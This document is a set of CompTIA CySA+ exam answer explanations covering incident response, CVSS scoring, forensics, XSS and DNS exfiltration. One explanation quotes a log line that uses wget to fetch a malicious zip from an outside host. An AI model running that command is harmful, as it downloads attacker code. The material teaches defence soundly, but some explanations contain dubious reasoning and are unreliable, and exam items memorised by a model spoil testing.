CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Question and Answers

The first step that should be performed when establishing a disaster recovery plan is to agree on the goals and objectives of the plan. The goals and objectives of the plan should define what the plan aims to achieve, such as minimizing downtime, restoring critical functions, ensuring data integrity, or meeting compliance requirements. The goals and objectives of the plan should also be aligned with the business needs and priorities of the organization and be measurable and achievable.

Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications, streamlining the authentication process.

The analyst will be creating TTPs (Tactics, Techniques, and Procedures). TTPs describe the behavior, methods, and patterns used by attackers during a cyber attack. By focusing on TTPs, the analyst can develop a dynamic detection strategy that identifies malicious activities based on the observed behavior and patterns, rather than relying on static indicators like signatures or IOCs (Indicators of Compromise).

Incident response playbooks are preplanned, step-by-step procedures used to respond consistently and effectively to specific incident types. Their importance is that they provide tactical guidance during stressful situations, particularly in the early hours, to ensure a measured, repeatable response that reduces impact and supports recovery.

The Sybex CySA+ Study Guide directly defines what playbooks are and why they matter:

Exact extract (Sybex Study Guide):

“CSIRT teams often develop playbooks that describe the specific procedures that they will follow in the event of a specific type of cybersecurity incident.”

It also explains the practical purpose: responders can use them as an operational plan, especially early in response:

Exact extract (Sybex Study Guide):

“The idea behind the playbook is that the team should be able to pick it up and find an operational plan for responding to the security incident that they may follow. Playbooks are especially important in the early hours of incident response…”

The Secbay Press CS0-003 guide reinforces that playbooks are step-by-step instructions and that they streamline response and ensure consistency:

Exact extract (Secbay Press):

“Creation of incident response playbooks detailing step-by-step instructions for responding to common types of security incidents. Playbooks streamline response efforts and ensure consistency across incidents.”

Therefore, Option D is the best answer because it matches the step-by-step, preplanned nature of playbooks and their goal of minimizing impact and supporting restoration/recovery.

Why the other options are not best:

A: Compliance alignment is not the primary function of IR playbooks; playbooks are operational response guides.

B: Preventing incidents is more about security controls/hardening; playbooks are for responding when incidents occur.

C: Metrics/KPIs and lessons learned are part of post-incident improvement, but playbooks aren’t primarily “baseline requirements for monitoring.” They’re response procedures.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): playbooks describe specific procedures; operational plan; importance early in incident response

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): playbooks are step-by-step instructions; streamline response; ensure consistency

The log output indicates an attempt to execute a command via an unsecured service account, specifically using a wget command to download a file from an external source. This suggests that the adversary is trying to exploit a vulnerability in the web server to run unauthorized commands, which is a common technique for gaining a foothold or further compromising the system. The presence of wget http://grohl.ve.da/tmp/brkgtr.zip indicates an attempt to download and possibly execute a malicious payload.

The most volatile type of evidence that must be collected first in a computer system is running processes. Running processes are programs or applications that are currently executing on a computer system and using its resources, such as memory, CPU, disk space, or network bandwidth. Running processes are very volatile because they can change rapidly or disappear completely when the system is shut down, rebooted, logged off, or crashed. Running processes can also be affected by other processes or users that may modify or terminate them. Therefore, running processes must be collected first before any other type of evidence in a computer system

TCPDump is the best tool to prove whether the server was experiencing a DoS attack related to half-open TCP sessions consuming memory. TCPDump is a command-line tool that can capture and analyze network traffic, such as TCP, UDP, and ICMP packets. TCPDump can help the administrator to identify the source and destination of the traffic, the TCP flags and sequence numbers, the packet size and frequency, and other information that can indicate a DoS attack. A DoS attack related to half-open TCP sessions is also known as a SYN flood attack, which is a type of volumetric attack that aims to exhaust the network bandwidth or resources of the target server by sending a large amount of TCPSYN requests and ignoring the TCP SYN-ACK responses. This creates a backlog of half-open connections on the server, which consume memory and CPU resources, and prevent legitimate connections from being established12. TCPDump can help the administrator to detect a SYN flood attack by looking for a high number of TCP SYN packets with different source IP addresses, a low number of TCP SYN-ACK packets, and a very low number of TCP ACK packets34. References: SYN flood DDoS attack | Cloudflare, What is a SYN flood attack and how to prevent it? | NETSCOUT, TCPDump - A Powerful Tool for Network Analysis and Security, How to Detect a SYN Flood Attack with TCPDump

XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user’s session, cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware12

The line in the web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an < IMG > tag with a malicious SRC attribute that contains a VBScript code. The VBScript code is intended to display a message box with the text “test” when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks3

Step 1: Analyzing the SFTP Log

The SFTP log provides a record of file transfer and login activities:

User “sjames” logged in from several IP addresses:

192.168.10.32 and 192.168.10.37 (internal network IPs)

32.111.16.37 and 41.21.18.102 (external IPs)

We see file alterations in the /var/www directory, which is commonly the web directory.

Modified files: about_us.html, index.html

Suspicious activity:

192.168.11.102 and 41.21.18.102 modified the files.

32.111.16.37 had failed login attempts, indicating possible unauthorized access attempts.

The most suspicious IP here is 41.21.18.102, as it’s associated with direct file modifications, possibly indicating unauthorized access.

Step 2: Reviewing Netstat

The netstat output shows active connections and their states:

IP 41.21.18.102 has an ESTABLISHED connection with port 22, commonly used for SFTP.

IP 32.111.16.37 is also attempting connections, and 32.111.16.37 connections are in a TIME_WAIT state, showing prior connections were recently closed.

The netstat output reaffirms 41.21.18.102 is actively connected and potentially involved in malicious activities.

Step 3: Checking the HTTP Access Log

The HTTP Access log shows access to about_us.html:

32.111.16.37 repeatedly accessed /about_us.html with 404 errors, indicating attempts to reach non-existing pages.

41.21.18.102 accessed the 200 status code, showing successful page requests, but since this IP was modifying files directly on the server, it might be testing or verifying changes.

Again, 41.21.18.102 stands out as it matches both successful file modification and page request patterns, while 32.111.16.37 shows unsuccessful attempts.

Step 4: Selecting the IP of Concern

Based on the above analysis:

Answer: 41.21.18.102 should be the IP of concern due to its direct file modifications on critical web files (about_us.html, index.html).

Step 5: Identifying the Indicator of Compromise

Potential indicators include unauthorized file modifications:

Modified index.html file is the correct answer, as it indicates direct changes to website content and is often a clear sign of compromise.

Step 6: Selecting Corrective Actions

To mitigate and prevent further compromise:

Change the password on the “sjames” account: The account was used across various IPs, indicating potential account compromise.

Block external SFTP access: Restricting SFTP to internal IPs only would prevent unauthorized external modifications. Since 41.21.18.102 was external, this would stop similar threats.

Summary

IP of Concern: 41.21.18.102

Indicator of Compromise: Modified index.html file

Corrective Actions:

Change the password on the sjames account

Block external SFTP access

These selections address both the immediate security breach and implement a preventative measure against future unauthorized access.

Vulnerability 2 has the highest impact metrics, specifically the highest attack vector (AV) and attack complexity (AC) values. This means that the vulnerability is more likely to be exploited and more difficult to remediate.

Reviewing the steps that the previous analyst followed is the most important step during the transition, as it ensures continuity and consistency of the investigation. It also helps the new analyst to understand the current status, scope, and findings of the investigation, and to avoid repeating the same actions or missing any important details. The other options are either less important, premature, or potentially biased. References: CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4: Incident Response and Management, page 191. Incident response best practices and tips, Tip 1: Always pack a jump bag.

Comprehensive Detailed Explanation:To effectively prevent Cross-Site Scripting (XSS) attacks, implementing appropriate security controls within the application code and at the network layer is critical. Here’s a breakdown of each option:

A. Implement an IPS in front of the web server

Explanation: Intrusion Prevention Systems (IPS) are primarily designed to detect and prevent network-based attacks, not application-layer vulnerabilities such as XSS. They do not specifically mitigate XSS threats effectively.

B. Enable MFA on the website

Explanation: Multi-factor authentication (MFA) strengthens user authentication but does not address XSS, which typically involves injecting malicious scripts rather than compromising user credentials.

C. Take the website offline until it is patched

While this might temporarily mitigate the risk, it is not a practical solution for ongoing operations, especially when effective preventative controls (e.g., WAF rules or code updates) can be implemented without disabling the service.

D. Implement a compensating control in the source code

Explanation: Implementing security controls at the code level is an effective way to mitigate XSS risks. This can involve proper input validation, output encoding, and utilizing libraries that sanitize user inputs. By addressing the root cause in the source code, developers prevent scripts from being injected or executed in the browser.

E. Configure TLS v1.3 on the website

Explanation: While TLS v1.3 secures the communication channel, it does not address XSS directly. XSS attacks manipulate client-side scripts, which TLS cannot prevent, as TLS only encrypts data in transit.

F. Fix the vulnerability using a virtual patch at the WAF

Explanation: Web Application Firewalls (WAFs) can mitigate XSS vulnerabilities by identifying and blocking malicious payloads. Virtual patching at the WAF level provides a temporary fix by preventing exploit attempts from reaching the application, giving developers time to implement a permanent fix in the source code.

ISO 27001 is an international standard that establishes a framework for implementing, maintaining, and improving an information security management system (ISMS). It helps organizations demonstrate their commitment to protecting their data and complying with various regulations and best practices. The other options are not relevant for this purpose: PCI DSS is a standard that focuses on protecting payment card data; COBIT is a framework that provides guidance on governance and management of enterprise IT; ITIL is a framework that provides guidance on service management and delivery.

SVR02 has a CVSS score of 7.1 and is exploitable, making itthe highest priority for remediation​.

SVR01 (CVSS 8.9) is not exploitable, so it is a lower risk.

SVR03 (CVSS 3.5) is exploitablebut has alower severitythan SVR02.

SVR04 (CVSS 6.7) is not exploitable, reducing its urgency.

Thus,B (SVR02) is the correct answer, as it presentsthe highest immediate risk​.

Updating the system firmware and reimaging the hardware is the best action to perform to remediate the infected device, as it helps to ensure that the device is restored to a clean and secure state and that any traces of malware are removed. Firmware is a type of software that controls the low-level functions of a hardware device, such as a motherboard, hard drive, or network card. Firmware can be updated or flashed to fix bugs, improve performance, or enhance security. Reimaging is a process of erasing and restoring the data on a storage device, such as a hard drive or a solid state drive, using an image file that contains a copy of the operating system, applications, settings, and files. Reimaging can help to recover from system failures, data corruption, or malware infections. Updating the system firmware and reimaging the hardware can help to remediate the infected device by removing any malicious code or configuration changes that may have been made by the malware, as well as restoring any missing or damaged files or settings that may have been affected by the malware. This can help to prevent further damage, data loss, or compromise of the device or the network. The other actions are not as effective or appropriate as updating the system firmware and reimaging the hardware, as they do not address the root cause of the infection or ensure that the device is fully cleaned and secured. Installing an additional malware scanner that will send email alerts to the analyst may help to detect and remove some types of malware, but it may not be able to catch all malware variants or remove them completely. It may also create conflicts or performance issues with other security tools or systems on the device. Configuring the system to use a proxy server for Internet access may help to filter or monitor some types of malicious traffic or requests, but it may not prevent or remove malware that has already infected the device or that uses other methods of communication or propagation. Deleting the user profile and restoring data from backup may help to recover some data or settings that may have been affected by the malware, but it may not remove malware that has infected other parts of the system or that has persisted on the device.

The correct answer is A because the analyst did not choose the vulnerability with the highest CVSS score. Instead, the analyst prioritized the vulnerability that is external-facing. That is a context-aware prioritization decision: the vulnerability’s exposure and location increase its likelihood of exploitation.

Exact supporting extract: the All-in-One CySA+ guide states that context awareness means prioritization depends on the situation, including whether the affected system is internal, external, or isolated. It further states that external systems may require faster remediation because they are more exposed to attacks and may be compromised faster.

The Secbay CySA+ guide also states that prioritizing vulnerabilities requires considering context, including whether vulnerabilities affect internal systems, external-facing systems, or isolated systems. It specifically notes that vulnerabilities exposed to external threats may receive higher priority due to increased risk exposure.

Why the other options are incorrect:

B is incorrect because the table does not provide asset criticality or business value.

C is incorrect because all listed vulnerabilities are weaponized, so exploit availability does not distinguish CVE-2023-8524 from the others.

D is incorrect because recurrence is not the deciding factor shown. Some internal vulnerabilities have similar or higher counts.

A is correct because the deciding factor is the vulnerability’s external exposure, which is context awareness.

This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-metrics/cvss

Outdated librariesin a legacy web applicationintroduce security vulnerabilities, as theylack modern patchesandcontain known exploits​.

Option A (Misconfigured WAF)can contribute to security issues but is notinherent to legacy applications.

Option B (Data integrity failure)is apotential impactbut not a direct cause of recurring incidents.

Option D (Insufficient logging)affects detection, but theroot causeisinsecure, outdated components.

Thus,C (Outdated libraries) is the correct answer, aslegacy applications frequently suffer from unpatched vulnerabilities​.

Testing is a crucial step in any change management process, as it ensures that the change is compatible with the existing systems and does not cause any errors or disruptions. In this case, the change management team failed to test the email client patch on Windows 11 devices, which resulted in a widespread issue for the users. Testing would have revealed the problem before the patch was deployed, and allowed the team to fix it or postpone the change.

The threat was detected from the time the emails were sent at 8:30 a.m. to when the recipients started alerting the organization’s help desk about the email at 8:45 a.m., taking a total of 15 minutes. The detection time is the time elapsed between the occurrence of an incident and its discovery by the security team . The other options are either too short or too long based on the given information. References: : Detection Time : Incident Response Metrics: Mean Time to Detect and Mean Time to Respond

The correct answer is D because the remediation was successful technically, but it occurred during five business hours for a sales application. That means the company likely lost sales revenue because the application was unavailable or degraded during a business-critical period. The issue was not the patch itself; the issue was poor change scheduling and communication.

Exact supporting extract: the CySA+ All-in-One guide defines a maintenance window as “a scheduled time the system is taken offline or out of use so that patches or configuration changes can be made.” It also explains that emergency maintenance may require informing users that the resource is being taken offline, how long maintenance will take, and whether resource access will be affected.

The Sybex CySA+ Study Guide also supports this answer: “Changes have the potential to be disruptive to an organization,” so the timing of changes must be “carefully coordinated.” It adds that maintenance windows normally occur during evenings, weekends, or other periods when business activity is low.

The official CompTIA CS0-003 objectives place this under vulnerability management reporting and communication because they include action plans, patching, inhibitors to remediation, business process interruption, degrading functionality, and stakeholder identification and communication.

Why the other options are incorrect:

A is incorrect because this financial loss is not simply a normal unavoidable IT cost. It was caused by poor scheduling or communication around a business-critical sales application.

B is incorrect because the issue is not specifically that the CIO failed to notify the board. The scenario says the change advisory board informed leadership after the loss.

C is incorrect because a penetration test is not required before every patch or remediation activity. The issue was not whether the vulnerability existed; it was the business impact of the remediation timing.

D is correct because a properly planned and communicated maintenance window should reduce business impact by scheduling the work when the application is not heavily used.

The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.comptia.org/certifications/cybersecurity-analyst

https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-cvss/

User behavior analysis (UBA) is the most effective method for detecting abnormal account activity.

UBA uses machine learning and behavioral analytics to identify patterns in how users interact with systems. If an employee suddenly logs in from an unusual location or accesses resources outside of their normal behavior, it raises an alert​.

Option A (Malicious command interpretation) is focused on malware analysis, not user behavior.

Option B (Network monitoring) detects anomalies at the network level, but does not specifically focus on user behaviors.

Option D (SSL Inspection) is useful for decrypting encrypted traffic, but it does not analyze user activity patterns.

The behavior described is a high-level objective: gain unauthorized access to a vulnerable system. In MITRE ATT & CK, tactics represent the attacker’s high-level goals (the “why”), such as gaining initial access. That makes this observation a tactic-level description rather than a technique/procedure.

The All-in-One CS0-003 guide defines tactics as high-level goals and explicitly includes “gaining initial access” as an example:Exact extract (All-in-One Exam Guide): “Tactics The high-level goals attackers are trying to achieve, such as gaining initial access, persistence, or exfiltrating data.”

It also describes Initial access as the goal of gaining a foothold (i.e., unauthorized access) into a target system/network:Exact extract (All-in-One Exam Guide): “Initial access. Tactics used by attackers to gain a foothold within a target network or system…”

Why the other options are not correct:

B (Techniques): Techniques are the specific methods used to accomplish a tactic (the “how”), not the high-level goal itself.Exact extract (All-in-One Exam Guide): “Techniques The specific methods and procedures attackers use to achieve their goals.”

A (Procedures): Procedures are the step-by-step sequences for executing techniques (an attacker’s “attack playbook”), not the high-level goal statement.

D (Subtechniques): Subtechniques are more granular breakdowns under a technique; your statement doesn’t describe a specific technique, so it can’t be placed at the subtechnique level.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): tactics are high-level goals (e.g., gaining initial access); initial access definition; techniques definition; procedures as step-by-step sequences

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company’s systems, networks, or resources, as well as the consequences of violating the company’s security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

The correct answer is B. Replace the current MD5 with SHA-256.

The vulnerability that the security analyst is able to exploit is a hash collision, which is a situation where two different files produce the same hash value. Hash collisions can allow an attacker to bypass the integrity or authentication checks that rely on hash values, and submit malicious files to the system. The web application uses MD5, which is a hashing algorithm that is known to be vulnerable to hash collisions. Therefore, the analyst should suggest replacing the current MD5 with SHA-256, which is a more secure and collision-resistant hashing algorithm.

The other options are not the best suggestions to mitigate the vulnerability with the fewest changes to the current script and infrastructure. Deploying a WAF (web application firewall) to the front of the application (A) may help protect the web application from some common attacks, but it may not prevent hash collisions or detect malicious files. Deploying an antivirus application on the hosting system © may help scan and remove malicious files from the system, but it may not prevent hash collisions or block malicious files from being submitted. Replacing the MD5 with digital signatures (D)may help verify the authenticity and integrity of the files, but it may require significant changes to the current script and infrastructure, as digital signatures involve public-key cryptography and certificate authorities.

Incident response playbooksprovide a structuredstep-by-step guidefor handling security incidents. Theydefine actions to takewhen specificthreat indicators or eventsoccur, ensuring acoordinated and consistent response​.

Option A (Prioritizing business-critical assets)relates more todisaster recovery (DR)than incident response.

Option C (Documenting asset management)is part ofIT governance, not incident response.

Option D (Defining DR sites)falls underbusiness continuity planning, not real-time incident handling.

Thus,B is the best answer, asplaybooks are designed to trigger appropriate responses to incidents​.

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

Mean time to detect (MTTD) is a metric that measures how quickly an organization can identify a security incident or a malicious actor in the environment. Reducing MTTD can improve visibility and reporting of threats, as well as prevent lateral movement and data exfiltration by detecting them sooner.

The correct answer is A. 121.19.30.221.

Based on the log files and the organization’s priorities, the host that warrants additional investigation is 121.19.30.221, because it is the only host that accessed a file containing sensitive data and is not from the partner vendor’s range.

The log files show the following information:

The IP addresses of the hosts that accessed the web server

The date and time of the access

The file path of the requested resource

The number of bytes transferred

The organization’s priorities are:

Unauthorized data disclosure is more critical than denial of service attempts

Denial of service attempts are more important than ensuring vendor data access

According to these priorities, the most serious threat to the organization is unauthorized data disclosure, which occurs when sensitive, protected, or confidential data is copied, transmitted, viewed, stolen, altered, or used by an individual unauthorized to do so123. Therefore, the host that accessed a file containing sensitive data and is not from the partner vendor’s range poses the highest risk to the organization.

The file that contains sensitive data is /reports/2023/financials.pdf, as indicated by its name and path. This file was accessed by two hosts: 121.19.30.221 and 216.122.5.5. However, only 121.19.30.221 is not from the partner vendor’s range, which is 216.122.5.x. Therefore, 121.19.30.221 is a potential unauthorized data disclosure threat and warrants additional investigation.

The other hosts do not warrant additional investigation based on the log files and the organization’s priorities.

Host 134.17.188.5 accessed /index.html multiple times in a short period of time, which could indicate a denial of service attempt by flooding the web server with requests45. However, denial of service attempts are less critical than unauthorized data disclosure according to the organization’s priorities, and there is no evidence that this host succeeded in disrupting the web server’s normal operations.

Host 202.180.1582 accessed /images/logo.png once, which does not indicate any malicious activity or threat to the organization.

Host 216.122.5.5 accessed /reports/2023/financials.pdf once, which could indicate unauthorized data disclosure if it was not authorized to do so. However, this host is from the partner vendor’s range, which is required to have access to monthly reports and is the only external vendor with authorized access according to the organization’s requirements.

Therefore, based on the log files and the organization’s priorities, host 121.19.30.221 warrants additional investigation as it poses the highest risk of unauthorized data disclosure to the organization.

The best priority based on common attack frameworks for a new program to reduce attack surface risks and threats as part of a zero trust approach is to reduce the administrator and privileged access accounts. Administrator and privileged access accounts are accounts that have elevated permissions or capabilities to perform sensitive or critical tasks on systems or networks, such as installing software, changing configurations, accessing data, or granting access. Reducing the administrator and privileged access accounts can help minimize the attack surface, as it can limit the number of potential targets orentry points for attackers, as well as reduce the impact or damage of an attack if an account is compromised.

DNS exfiltration is a technique that uses the DNS protocol to transfer data from a compromised network or device to an attacker-controlled server. DNS exfiltration can bypass firewall rules and security products that do not inspect DNS traffic. The characteristics of the suspicious DNS traffic in the question match the indicators of DNS exfiltration, such as:

DNS traffic while a tunneling session is active: This implies that the DNS protocol is being used to create a covert channel for data transfer.

The mean time between queries is less than one second: This implies that the DNS queries are being sent at a high frequency to maximize the amount of data transferred.

The average query length exceeds 100 characters: This implies that the DNS queries are encoding large amounts of data in the subdomains or other fields of the DNS packets.

Official References:

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://resources.infosecinstitute.com/topic/bypassing-security-products-via-dns-data-exfiltration/

https://www.reddit.com/r/CompTIA/comments/nvjuzt/dns_exfiltration_explanation/

Abit-level imageis a forensic-grade copy that preservesalldata on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence collection, as it ensures that no potential evidence is missed​.

Copying all access files (Option A)only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B)is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C)may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states​.

Thus, the correct answer isD, as abit-level image ensures forensic integrity and completeness of evidence​.

Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

The Cyber Kill Chain methodology provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage. It is divided into seven stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It helps network defenders understand and prevent cyberattacks by identifying the attacker’s objectives and tactics. References: The Cyber Kill Chain: The Seven Steps of a Cyberattack

Aplaybookprovides astep-by-stepguide for handling specific types of incidents like ransomware, making it invaluable during triage. It outlines predefined procedures, aiding consistent and fast decision-making.

The incident response plan (A) provides high-level structure.

Lessons learned (B) applyafterthe incident.

Tabletop exercises (D) are training tools, not live guides.

📘 Reference: Chapple & Seidl, CySA+ Practice Tests, Incident Response, Chapter 3 – Playbooks and Procedures​.

📘 Objective: 3.1 - Apply incident response procedures based on an incident classification​.

Command-and-control (C2) beaconing involves compromised systems communicating with an attacker’s server at regular intervals, often using HTTPS to blend in with legitimate traffic. This is indicative of a potential compromise where malware communicates back to a command center. The persistent nature of the connections after hours and throughout the day suggests automated beaconing, which is a tell-tale sign of C2 activity. According to CompTIA CySA+, this type of activity should raise immediate suspicion and warrants further investigation and containment. While options B, C, D, and E might indicate other issues, they do not fit the pattern described as well as option A.

SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels.

The captured traffic shows TCP packets with the Flags [FPU], which indicate that the FIN, PSH, and URG flags are set. This is characteristic of an Nmap Xmas scan. The Xmas scan is a type of port scan that sends packets with these flags set to determine port states based on responses from the target system. This technique is often used in stealth scanning to evade detection by firewalls or IDS/IPS​.

Nikto ' s web scan (B) is used for identifying web server vulnerabilities but does not generate TCP packets with such unusual flags​.

Socat ' s proxying (C) would not exhibit the specific Xmas scan pattern.

Angry IP Scanner (D) is a general-purpose scanner that does not use the TCP flags seen in this capture​.

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in court.

Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting1.

The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident response team and improve their performance for future incidents. A postmortem analysis © is a way to determine the root cause, impact, and timeline of the incident and provide recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.

Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization’s environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA’s CySA+ guidelines, relevance verification helps in prioritizing resources and response actionseffectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed relevant.

A tabletop exercise is a type of simulation exercise that involves testing possible incident scenarios and how to react properly, without actually performing any actions or using any resources. A tabletop exercise is usually conducted by a facilitator who presents a realistic scenario to a group of participants, such as a cyberattack, a natural disaster, or a data breach. The participants then discuss and evaluatetheir roles, responsibilities, plans, procedures, and policies for responding to the incident, as well as the potential impacts and outcomes. A tabletop exercise can help identify strengths and weaknesses in the incident response plan, improve communication and coordination among the stakeholders, raise awareness and preparedness for potential incidents, and provide feedback and recommendations for improvement.

Single Sign-On (SSO) allows users to authenticate once and gain access to multiple applications without needing to re-enter credentials for each one.

It reduces password fatigue, improves security, and streamlines authentication across vendor portals.

Why Not Other Options?

A (API) → APIs facilitate data exchange but do not solve authentication problems.

B (MFA) → Enhances security but still requires multiple logins.

D (VPN) → Secures connections but does not eliminate multiple logins.

According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools1.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods. Containerizationis a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues1.

Fuzzing is a testing technique where invalid or random data is inputted into a system to find vulnerabilities, crashes, or unexpected behaviors. It’s commonly used in software security to identify flaws that could lead to security breaches. According to CompTIA’s CySA+ curriculum, fuzzing is a dynamic testing method for exposing application weaknesses. Options like static testing (B) involve analyzing code without execution, while reverse engineering (A) and debugging (D) involve different methodologies for understanding or fixing code, not intentionally stressing it.

Weaponization is a factor that describes how an adversary develops or acquires an exploit or payload that can take advantage of a vulnerability and deliver a malicious effect. Weaponization can increase the severity or impact of a vulnerability, as it makes it easier or more likely for an attacker to exploit it successfully and cause damage or harm. Weaponization can also indicate the level of sophistication or motivation of an attacker, as well as the availability or popularity of an exploit or payload in the cyber threat landscape. In this case, an older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. This indicates that weaponization was the reason for this escalation. 

A security analyst’s concern is that any discovered vulnerabilities in the OS that is approaching the end-of-life date will not be remediated by the vendor, leaving the system exposed to potential attacks. The other options are not directly related to the security analyst’s role or responsibility. Verified References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives, page 9, section 2.21

Compensating controls are alternative controls that provide a similar level of protection as the original controls, but are used when the original controls are not feasible or cost-effective. In this case, the CISO implemented compensating controls by reviewing logs and audit trails to mitigate the risk of error and fraud in payroll management, since segregating duties was not possible due to the small staff size

A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the performance and quality of services provided by the SOC (Security Operations Center). It defines thelevel of service expected, including aspects like response times, availability, and support after regular work hours. An SLA helps in setting clear expectations and improving customer satisfaction by outlining the standards and commitments of the service provider.

Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.

To determine the correct vulnerability, you must map the specific threat intelligence (users clicking email links) to the CVSS Base Metrics provided in the table.

1. Analyze the Scenario:

Threat Vector: " End users frequently click on malicious links sent via email. "

Attack Vector implication: The attack is coming from outside the organization (remote), meaning the Attack Vector must be Network.

Interaction implication: The success of the attack relies on the user performing an action (clicking), meaning User Interaction must be Yes (Required).

2. Evaluate the Table:

Vulnerability

Attack Vector

Attack Complexity

Auth Required

User Interaction

Analysis

A

Network

